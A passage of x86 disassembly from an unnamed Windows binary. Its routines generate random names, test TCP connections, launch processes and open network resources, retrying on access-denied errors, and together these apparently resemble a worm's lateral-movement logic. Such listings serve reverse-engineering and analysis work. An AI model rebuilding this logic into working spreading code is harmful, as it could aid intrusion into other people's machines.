		jnz	short loc_13C5E05
		mov	bl, 1


loc_13C5E05:				; CODE XREF: sub_13C5D60+A1j
		inc	eax
		cmp	eax, 5Bh
		jl	short loc_13C5DFF
		mov	eax, 61h


loc_13C5E10:				; CODE XREF: sub_13C5D60+BAj
		cmp	ecx, eax
		jnz	short loc_13C5E16
		mov	bl, 1


loc_13C5E16:				; CODE XREF: sub_13C5D60+B2j
		inc	eax
		cmp	eax, 7Bh
		jl	short loc_13C5E10
		test	bl, bl
		jnz	short loc_13C5E42
		mov	edi, offset byte_446F80
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_13C5E42:				; CODE XREF: sub_13C5D60+BEj
		mov	esi, rand
		call	esi ; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+40h+var_2C]
		push	edx
		call	sub_13AB540
		call	esi ; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+44h+var_30]
		push	edx
		call	sub_13AB540
		call	esi ; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+48h+var_34]
		push	edx
		call	sub_13AB540
		mov	esi, [esp+4Ch+arg_4]
		lea	edx, [esp+4Ch+var_38]
		push	edx
		mov	ecx, esi
		call	sub_13AB8C9
		mov	[esp+50h+var_40], 1
		lea	ecx, [esp+50h+var_3C]
		mov	byte ptr [esp+50h+var_4], 0
		call	sub_13AB626
		pop	ebp
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [esp+40h+var_C]
		mov	large fs:0, ecx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_13C5EBF:				; CODE XREF: sub_13C5D60+2Aj
		lea	ecx, [esp+4Ch+var_24]
		call	sub_13AB824
		mov	ebx, 2
		mov	[esp+4Ch+var_4], ebx
		call	GetTickCount	; GetTickCount
		push	eax
		call	srand	; srand
		mov	edi, rand
		add	esp, 4
		call	edi ; rand
		cdq
		mov	ecx, 3
		idiv	ecx
		lea	ecx, [esp+44h+var_1C]
		mov	esi, edx
		mov	edx, [esp+44h+arg_C]
		push	edx
		add	esi, 6
		call	sub_13AB9D7
		test	esi, esi
		jle	short loc_13C5F5E


loc_13C5F08:				; CODE XREF: sub_13C5D60+1FCj
		lea	ecx, [esp+48h+var_38]
		call	sub_13AB824
		lea	eax, [esp+48h+var_20]
		lea	ecx, [esp+48h+var_38]
		push	eax
		mov	byte ptr [esp+4Ch], 3
		call	sub_13AC3BE
		call	edi ; rand
		cdq
		mov	ecx, 1Ah
		idiv	ecx
		lea	ecx, [esp+48h+var_38]
		add	edx, 61h
		push	edx
		call	sub_13ABBE4
		push	eax
		lea	edx, [esp+50h+var_20]
		push	offset dword_443E94
		push	edx
		call	sub_13AB42D
		add	esp, 10h
		lea	ecx, [esp+48h+var_38]
		mov	[esp+48h], bl
		call	sub_13AB626
		dec	esi
		jnz	short loc_13C5F08


loc_13C5F5E:				; CODE XREF: sub_13C5D60+1A6j
		mov	esi, [esp+48h+arg_4]
		lea	eax, [esp+48h+var_20]
		push	eax
		mov	ecx, esi
		call	sub_13AB8C9
		lea	ecx, [esp+4Ch+var_24]
		mov	[esp+4Ch+var_40], 1
		mov	byte ptr [esp+4Ch+var_4], 0
		call	sub_13AB626
		mov	ecx, [esp+4Ch+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn
sub_13C5D60	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C6030	proc near		; CODE XREF: sub_13AB969j

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		cmp	al, 20h
		jz	short loc_13C603F
		cmp	al, 9
		jz	short loc_13C603F
		xor	al, al
		retn
; ---------------------------------------------------------------------------


loc_13C603F:				; CODE XREF: sub_13C6030+6j
					; sub_13C6030+Aj
		mov	al, 1
		retn
sub_13C6030	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C6060	proc near		; CODE XREF: sub_13AC2D8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	offset dword_443E9C
		push	eax
		call	fopen	; fopen
		add	esp, 8
		test	eax, eax
		jz	short loc_13C6084
		push	eax
		call	fclose	; fclose
		add	esp, 4
		mov	al, 1
		retn
; ---------------------------------------------------------------------------


loc_13C6084:				; CODE XREF: sub_13C6060+15j
		xor	al, al
		retn
sub_13C6060	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C60A0	proc near		; CODE XREF: sub_13AB879j

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_20		= byte ptr -20h
arg_0		= dword	ptr  4

		sub	esp, 30h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+40h+arg_0]
		test	edi, edi
		jz	loc_13C62FE
		mov	esi, offset byte_446F80
		mov	eax, edi


loc_13C60BA:				; CODE XREF: sub_13C60A0+3Cj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_13C60E2
		test	cl, cl
		jz	short loc_13C60DE
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_13C60E2
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_13C60BA


loc_13C60DE:				; CODE XREF: sub_13C60A0+26j
		xor	eax, eax
		jmp	short loc_13C60E7
; ---------------------------------------------------------------------------


loc_13C60E2:				; CODE XREF: sub_13C60A0+22j
					; sub_13C60A0+32j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_13C60E7:				; CODE XREF: sub_13C60A0+40j
		test	eax, eax
		jz	loc_13C62FE
		push	20h
		lea	eax, [esp+44h+var_20]
		push	edi
		push	eax
		call	strncpy	; strncpy
		mov	edi, strtok
		lea	ecx, [esp+4Ch+var_20]
		push	offset dword_443DE4
		push	ecx
		call	edi ; strtok
		add	esp, 14h
		mov	[esp+40h+var_30], eax
		test	eax, eax
		jz	loc_13C62FE
		mov	ebx, 1
		lea	esi, [esp+40h+var_2C]


loc_13C6127:				; CODE XREF: sub_13C60A0+A4j
		push	offset dword_443DE4
		push	0
		call	edi ; strtok
		add	esp, 8
		mov	[esi], eax
		test	eax, eax
		jz	loc_13C62FE
		inc	ebx
		add	esi, 4
		cmp	ebx, 4
		jl	short loc_13C6127
		mov	ebp, [esp+40h+var_30]
		mov	esi, offset dword_443EB8
		mov	eax, ebp


loc_13C6151:				; CODE XREF: sub_13C60A0+D3j
		mov	cl, [eax]
		mov	bl, [esi]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_13C6179
		test	dl, dl
		jz	short loc_13C6175
		mov	cl, [eax+1]
		mov	bl, [esi+1]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_13C6179
		add	eax, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_13C6151


loc_13C6175:				; CODE XREF: sub_13C60A0+BDj
		xor	eax, eax
		jmp	short loc_13C617E
; ---------------------------------------------------------------------------


loc_13C6179:				; CODE XREF: sub_13C60A0+B9j
					; sub_13C60A0+C9j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_13C617E:				; CODE XREF: sub_13C60A0+D7j
		test	eax, eax
		jnz	short loc_13C618C
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_13C618C:				; CODE XREF: sub_13C60A0+E0j
		mov	esi, offset dword_443EB4
		mov	eax, ebp


loc_13C6193:				; CODE XREF: sub_13C60A0+115j
		mov	cl, [eax]
		mov	bl, [esi]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_13C61BB
		test	dl, dl
		jz	short loc_13C61B7
		mov	cl, [eax+1]
		mov	bl, [esi+1]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_13C61BB
		add	eax, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_13C6193


loc_13C61B7:				; CODE XREF: sub_13C60A0+FFj
		xor	eax, eax
		jmp	short loc_13C61C0
; ---------------------------------------------------------------------------


loc_13C61BB:				; CODE XREF: sub_13C60A0+FBj
					; sub_13C60A0+10Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_13C61C0:				; CODE XREF: sub_13C60A0+119j
		mov	edi, [esp+40h+var_2C]
		test	eax, eax
		jnz	short loc_13C620A
		mov	esi, offset dword_443EB0
		mov	edx, edi


loc_13C61CF:				; CODE XREF: sub_13C60A0+151j
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_13C61F7
		test	bl, bl
		jz	short loc_13C61F3
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_13C61F7
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_13C61CF


loc_13C61F3:				; CODE XREF: sub_13C60A0+13Bj
		xor	edx, edx
		jmp	short loc_13C61FC
; ---------------------------------------------------------------------------


loc_13C61F7:				; CODE XREF: sub_13C60A0+137j
					; sub_13C60A0+147j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_13C61FC:				; CODE XREF: sub_13C60A0+155j
		test	edx, edx
		jnz	short loc_13C620A
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_13C620A:				; CODE XREF: sub_13C60A0+126j
					; sub_13C60A0+15Ej
		mov	esi, offset dword_443EAC
		mov	edx, ebp


loc_13C6211:				; CODE XREF: sub_13C60A0+193j
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_13C6239
		test	bl, bl
		jz	short loc_13C6235
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_13C6239
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_13C6211


loc_13C6235:				; CODE XREF: sub_13C60A0+17Dj
		xor	edx, edx
		jmp	short loc_13C623E
; ---------------------------------------------------------------------------


loc_13C6239:				; CODE XREF: sub_13C60A0+179j
					; sub_13C60A0+189j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_13C623E:				; CODE XREF: sub_13C60A0+197j
		test	edx, edx
		jnz	short loc_13C6284
		mov	esi, offset dword_443EA8
		mov	edx, edi


loc_13C6249:				; CODE XREF: sub_13C60A0+1CBj
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_13C6271
		test	bl, bl
		jz	short loc_13C626D
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_13C6271
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_13C6249


loc_13C626D:				; CODE XREF: sub_13C60A0+1B5j
		xor	edx, edx
		jmp	short loc_13C6276
; ---------------------------------------------------------------------------


loc_13C6271:				; CODE XREF: sub_13C60A0+1B1j
					; sub_13C60A0+1C1j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_13C6276:				; CODE XREF: sub_13C60A0+1CFj
		test	edx, edx
		jnz	short loc_13C6284
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_13C6284:				; CODE XREF: sub_13C60A0+1A0j
					; sub_13C60A0+1D8j
		mov	esi, offset dword_443EA4
		mov	ecx, ebp


loc_13C628B:				; CODE XREF: sub_13C60A0+20Dj
		mov	al, [ecx]
		mov	bl, [esi]
		mov	dl, al
		cmp	al, bl
		jnz	short loc_13C62B3
		test	dl, dl
		jz	short loc_13C62AF
		mov	al, [ecx+1]
		mov	bl, [esi+1]
		mov	dl, al
		cmp	al, bl
		jnz	short loc_13C62B3
		add	ecx, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_13C628B


loc_13C62AF:				; CODE XREF: sub_13C60A0+1F7j
		xor	ecx, ecx
		jmp	short loc_13C62B8
; ---------------------------------------------------------------------------


loc_13C62B3:				; CODE XREF: sub_13C60A0+1F3j
					; sub_13C60A0+203j
		sbb	ecx, ecx
		sbb	ecx, 0FFFFFFFFh


loc_13C62B8:				; CODE XREF: sub_13C60A0+211j
		test	ecx, ecx
		jnz	short loc_13C62FE
		mov	esi, offset dword_443EA0
		mov	eax, edi


loc_13C62C3:				; CODE XREF: sub_13C60A0+245j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_13C62EB
		test	cl, cl
		jz	short loc_13C62E7
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_13C62EB
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_13C62C3


loc_13C62E7:				; CODE XREF: sub_13C60A0+22Fj
		xor	eax, eax
		jmp	short loc_13C62F0
; ---------------------------------------------------------------------------


loc_13C62EB:				; CODE XREF: sub_13C60A0+22Bj
					; sub_13C60A0+23Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_13C62F0:				; CODE XREF: sub_13C60A0+249j
		test	eax, eax
		jnz	short loc_13C62FE
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_13C62FE:				; CODE XREF: sub_13C60A0+Dj
					; sub_13C60A0+49j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 30h
		retn
sub_13C60A0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C63B0	proc near		; CODE XREF: sub_13AC404j

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	ebx
		push	esi
		push	6
		push	1
		push	2
		xor	bl, bl
		call	socket	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_13C6418
		cmp	esi, 0FFFFFFFFh
		jz	short loc_13C6418
		mov	eax, [esp+18h+arg_0]
		push	eax
		call	inet_addr	; inet_addr
		mov	ecx, [esp+18h+arg_4]
		mov	[esp+18h+var_C], eax
		push	ecx
		call	htons	; htons
		lea	edx, [esp+18h+var_10]
		push	10h
		push	edx
		push	esi
		mov	[esp+24h+var_E], ax
		mov	[esp+24h+var_10], 2
		call	connect	; connect
		test	eax, eax
		jnz	short loc_13C6409
		mov	bl, 1


loc_13C6409:				; CODE XREF: sub_13C63B0+55j
		push	esi
		call	closesocket	; closesocket
		mov	al, bl
		pop	esi
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_13C6418:				; CODE XREF: sub_13C63B0+18j
					; sub_13C63B0+1Dj
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 10h
		retn
sub_13C63B0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C6440	proc near		; CODE XREF: sub_13AB699j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	0
		push	0
		push	eax
		push	ecx
		push	offset dword_4436F4
		push	0
		call	ShellExecuteA	; ShellExecuteA
		cmp	eax, 20h
		setnl	al
		retn
sub_13C6440	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C6480	proc near		; CODE XREF: sub_13AC549j

var_54		= byte ptr -54h
var_44		= dword	ptr -44h
var_14		= word ptr -14h
arg_0		= dword	ptr  4

		sub	esp, 54h
		push	edi
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+58h+var_44]
		rep stosd
		mov	[esp+58h+var_14], ax
		lea	eax, [esp+58h+var_54]
		mov	edx, [esp+58h+arg_0]
		lea	ecx, [esp+58h+var_44]
		push	eax
		push	ecx
		push	0
		push	0
		push	28h
		push	0
		push	0
		push	0
		push	edx
		push	0
		mov	[esp+80h+var_44], 44h
		call	CreateProcessA	; CreateProcessA
		test	eax, eax
		setnle	al
		pop	edi
		add	esp, 54h
		retn
sub_13C6480	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C64F0	proc near		; CODE XREF: sub_13ABC75j

var_36C		= byte ptr -36Ch
var_360		= byte ptr -360h
var_354		= dword	ptr -354h
var_350		= dword	ptr -350h
var_34C		= dword	ptr -34Ch
var_348		= byte ptr -348h
var_347		= byte ptr -347h
var_248		= byte ptr -248h
var_230		= dword	ptr -230h
var_22C		= word ptr -22Ch
var_22A		= byte ptr -22Ah
var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		sub	esp, 354h
		mov	eax, ds:dword_443EC4
		mov	ecx, ds:dword_443EC8
		mov	[esp+354h+var_354], eax
		mov	al, ds:byte_446F80
		push	esi
		push	edi
		mov	[esp+35Ch+var_350], ecx
		mov	[esp+35Ch+var_348], al
		mov	ecx, 45h
		xor	eax, eax
		lea	edi, [esp+35Ch+var_347]
		mov	edx, ds:dword_443ECC
		rep stosd
		mov	ecx, ds:dword_443EBC
		mov	[esp+35Ch+var_34C], edx
		mov	dx, ds:word_443EC0
		mov	[esp+35Ch+var_230], ecx
		stosw
		stosb
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [esp+35Ch+var_22A]
		mov	[esp+35Ch+var_22C], dx
		rep stosd
		mov	ecx, [esp+35Ch+arg_0]
		push	0FFh
		stosw
		lea	eax, [esp+360h+var_348]
		xor	edi, edi
		push	eax
		push	0FFFFFFFFh
		push	ecx
		push	edi
		push	edi
		call	MultiByteToWideChar	; MultiByteToWideChar
		mov	esi, wcscat
		lea	edx, [esp+374h+var_360]
		lea	eax, [esp+374h+var_248]
		push	edx
		push	eax
		call	esi ; wcscat
		lea	ecx, [esp+37Ch+var_36C]
		lea	edx, [esp+37Ch+var_248]
		push	ecx
		push	edx
		call	esi ; wcscat
		mov	esi, [esp+384h+var_10]
		add	esp, 10h
		lea	eax, [esp+374h+var_248]
		push	edi
		push	offset dword_1029D34
		push	offset dword_1029D34
		push	esi
		mov	[esi+4], edi
		mov	[esi+10h], edi
		mov	[esi+14h], eax
		mov	[esi+1Ch], edi
		call	near ptr 13E13C8h
		cmp	eax, 5
		jz	short loc_13C65D8
		cmp	eax, 4C3h
		jnz	short loc_13C65E1


loc_13C65D8:				; CODE XREF: sub_13C64F0+DFj
		push	edi
		push	edi
		push	edi
		push	esi
		call	near ptr 13E13C8h


loc_13C65E1:				; CODE XREF: sub_13C64F0+E6j
		pop	edi
		cmp	eax, 5
		pop	esi
		jz	short loc_13C65F8
		cmp	eax, 4C3h
		jz	short loc_13C65F8
		mov	al, 1
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------


loc_13C65F8:				; CODE XREF: sub_13C64F0+F6j
					; sub_13C64F0+FDj
		xor	al, al
		add	esp, 354h
		retn
sub_13C64F0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C6660	proc near		; CODE XREF: sub_13AC2C9j

var_354		= dword	ptr -354h
var_350		= dword	ptr -350h
var_34C		= dword	ptr -34Ch
var_348		= byte ptr -348h
var_347		= byte ptr -347h
var_230		= dword	ptr -230h
var_22C		= word ptr -22Ch
var_22A		= byte ptr -22Ah
arg_0		= dword	ptr  4

		sub	esp, 354h
		mov	eax, ds:dword_443EC4
		mov	ecx, ds:dword_443EC8
		mov	[esp+354h+var_354], eax
		mov	al, ds:byte_446F80
		push	esi
		push	edi
		mov	[esp+35Ch+var_350], ecx
		mov	[esp+35Ch+var_348], al
		mov	ecx, 45h
		xor	eax, eax
		lea	edi, [esp+35Ch+var_347]
		mov	edx, ds:dword_443ECC
		rep stosd
		mov	ecx, ds:dword_443EBC
		mov	[esp+35Ch+var_34C], edx
		mov	dx, ds:word_443EC0
		mov	[esp+35Ch+var_230], ecx
		stosw
		stosb
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [esp+35Ch+var_22A]
		mov	[esp+35Ch+var_22C], dx
		rep stosd
		mov	ecx, [esp+35Ch+arg_0]
		push	0FFh
		stosw
		lea	eax, [esp+360h+var_348]
		push	eax
		push	0FFFFFFFFh
		push	ecx
		push	0
		push	0
		call	MultiByteToWideChar	; MultiByteToWideChar
		mov	esi, wcscat
		lea	edx, [esp+35Ch+var_348]
		lea	eax, [esp+35Ch+var_230]
		push	edx
		push	eax
		call	esi ; wcscat
		lea	ecx, [esp+364h+var_354]
		lea	edx, [esp+364h+var_230]
		push	ecx
		push	edx
		call	esi ; wcscat
		add	esp, 10h
		lea	eax, [esp+35Ch+var_230]
		push	0
		push	0
		push	eax
		call	near ptr 13E13CEh
		test	eax, eax
		jz	short loc_13C6748
		mov	esi, Sleep


loc_13C672C:				; CODE XREF: sub_13C6660+E6j
		push	7D0h
		call	esi ; Sleep
		push	0
		lea	ecx, [esp+360h+var_230]
		push	0
		push	ecx
		call	near ptr 13E13CEh
		test	eax, eax
		jnz	short loc_13C672C


loc_13C6748:				; CODE XREF: sub_13C6660+C4j
		pop	edi
		mov	al, 1
		pop	esi
		add	esp, 354h
		retn
sub_13C6660	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C67A0	proc near		; CODE XREF: sub_13AC17Fj

var_78		= byte ptr -78h
var_6C		= byte ptr -6Ch
var_60		= byte ptr -60h
var_54		= dword	ptr -54h
var_4C		= dword	ptr -4Ch
var_48		= byte ptr -48h
var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_34		= dword	ptr -34h
var_28		= dword	ptr -28h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43ADE0h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	0Ch
		push	4
		push	4Fh
		push	10h
		push	14h
		lea	eax, [esp+5Ch+var_3C]
		push	6
		mov	esi, ecx
		push	eax
		call	sub_13ABDB5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_13ABBE4
		lea	ecx, [esi+0BCh]
		push	eax
		push	ecx
		mov	ecx, offset dword_447168
		call	sub_13AB991
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+50h+var_48]
		mov	[esp+50h+var_10], edi
		call	sub_13AB626
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		push	10h
		push	14h
		lea	edx, [esp+6Ch+var_48]
		push	6
		push	edx
		call	sub_13ABDB5
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+54h+var_10], 1
		call	sub_13ABBE4
		push	eax
		lea	eax, [esi+118h]
		push	eax
		mov	ecx, offset dword_447168
		call	sub_13AB991
		lea	ecx, [esp+5Ch+var_54]
		mov	[esp+5Ch+var_1C], edi
		call	sub_13AB626
		push	0
		push	10h
		push	15h
		push	4Fh
		push	10h
		push	14h
		lea	ecx, [esp+74h+var_54]
		push	6
		push	ecx
		call	sub_13ABDB5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+60h+var_1C], 2
		call	sub_13ABBE4
		lea	edx, [esi+0EAh]
		push	eax
		push	edx
		mov	ecx, offset dword_447168
		call	sub_13AB991
		lea	ecx, [esp+68h+var_60]
		mov	[esp+68h+var_28], edi
		call	sub_13AB626
		push	0
		push	0Ch
		push	4
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	eax, [esp+84h+var_60]
		push	8
		push	eax
		call	sub_13ABDB5
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+6Ch+var_28], 3
		call	sub_13ABBE4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447168
		call	sub_13AB991
		lea	ecx, [esp+74h+var_6C]
		mov	[esp+74h+var_34], edi
		call	sub_13AB626
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	edx, [esp+94h+var_6C]
		push	8
		push	edx
		call	sub_13ABDB5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	[esp+78h+var_34], 4
		call	sub_13ABBE4
		push	eax
		lea	eax, [esi+60h]
		push	eax
		mov	ecx, offset dword_447168
		call	sub_13AB991
		lea	ecx, [esp+80h+var_78]
		mov	[esp+80h+var_40], edi
		call	sub_13AB626
		push	0
		push	5
		push	14h
		push	1
		push	4
		push	10h
		push	15h
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	ecx, [esp+0ACh+var_60]
		push	8
		push	ecx
		call	sub_13ABDB5
		add	esp, 34h
		push	esi
		mov	ecx, eax
		mov	[esp+84h+var_40], 5
		call	sub_13ABBE4
		add	esi, 32h
		push	eax
		push	esi
		mov	ecx, offset dword_447168
		call	sub_13AB991
		lea	ecx, [esp+8Ch+var_6C]
		mov	[esp+8Ch+var_4C], edi
		call	sub_13AB626
		mov	ecx, [esp+8Ch+var_54]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
sub_13C67A0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C6A20	proc near		; CODE XREF: sub_13AB464j

var_2E0		= byte ptr -2E0h
var_2CD		= byte ptr -2CDh
var_2CC		= dword	ptr -2CCh
var_2C8		= byte ptr -2C8h
var_2B0		= byte ptr -2B0h
var_2A0		= byte ptr -2A0h
var_29C		= byte ptr -29Ch
var_299		= byte ptr -299h
var_298		= byte ptr -298h
var_28C		= byte ptr -28Ch
var_288		= byte ptr -288h
var_280		= byte ptr -280h
var_27C		= byte ptr -27Ch
var_274		= byte ptr -274h
var_270		= dword	ptr -270h
var_26C		= byte ptr -26Ch
var_268		= byte ptr -268h
var_260		= byte ptr -260h
var_254		= byte ptr -254h
var_250		= byte ptr -250h
var_24D		= byte ptr -24Dh
var_240		= byte ptr -240h
var_238		= byte ptr -238h
var_234		= byte ptr -234h
var_230		= byte ptr -230h
var_22C		= byte ptr -22Ch
var_224		= dword	ptr -224h
var_220		= byte ptr -220h
var_218		= byte ptr -218h
var_208		= byte ptr -208h
var_204		= byte ptr -204h
var_201		= byte ptr -201h
var_1F7		= byte ptr -1F7h
var_1F4		= byte ptr -1F4h
var_1E8		= byte ptr -1E8h
var_1E4		= byte ptr -1E4h
var_1E1		= byte ptr -1E1h
var_1E0		= dword	ptr -1E0h
var_1DC		= byte ptr -1DCh
var_1DA		= byte ptr -1DAh
var_1D8		= dword	ptr -1D8h
var_1D4		= byte ptr -1D4h
var_1CC		= byte ptr -1CCh
var_1C9		= byte ptr -1C9h
var_1C4		= byte ptr -1C4h
var_1C0		= dword	ptr -1C0h
var_1BC		= byte ptr -1BCh
var_1B8		= byte ptr -1B8h
var_1B4		= byte ptr -1B4h
var_1B0		= byte ptr -1B0h
var_1AD		= byte ptr -1ADh
var_1AC		= byte ptr -1ACh
var_1AB		= byte ptr -1ABh
var_1A8		= byte ptr -1A8h
var_1A0		= byte ptr -1A0h
var_19C		= byte ptr -19Ch
var_194		= byte ptr -194h
var_190		= byte ptr -190h
var_18E		= byte ptr -18Eh
var_18C		= dword	ptr -18Ch
var_188		= byte ptr -188h
var_184		= byte ptr -184h
var_180		= byte ptr -180h
var_17D		= byte ptr -17Dh
var_17C		= byte ptr -17Ch
var_170		= byte ptr -170h
var_16C		= byte ptr -16Ch
var_169		= byte ptr -169h
var_168		= byte ptr -168h
var_164		= byte ptr -164h
var_160		= byte ptr -160h
var_15F		= byte ptr -15Fh
var_15C		= byte ptr -15Ch
var_14C		= byte ptr -14Ch
var_148		= dword	ptr -148h
var_144		= byte ptr -144h
var_142		= byte ptr -142h
var_140		= byte ptr -140h
var_13C		= byte ptr -13Ch
var_131		= byte ptr -131h
var_12C		= byte ptr -12Ch
var_128		= byte ptr -128h
var_125		= byte ptr -125h
var_124		= byte ptr -124h
var_120		= byte ptr -120h
var_118		= byte ptr -118h
var_114		= byte ptr -114h
var_10C		= byte ptr -10Ch
var_108		= byte ptr -108h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_FC		= byte ptr -0FCh
var_F8		= byte ptr -0F8h
var_F4		= byte ptr -0F4h
var_DC		= byte ptr -0DCh
var_D4		= dword	ptr -0D4h
var_D0		= byte ptr -0D0h
var_CC		= dword	ptr -0CCh
var_C4		= byte ptr -0C4h
var_C0		= byte ptr -0C0h
var_BF		= byte ptr -0BFh
var_AC		= byte ptr -0ACh
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_90		= byte ptr -90h
var_88		= dword	ptr -88h
var_80		= byte ptr -80h
var_7C		= byte ptr -7Ch
var_7B		= byte ptr -7Bh
var_5C		= byte ptr -5Ch
var_44		= dword	ptr -44h
var_3C		= byte ptr -3Ch
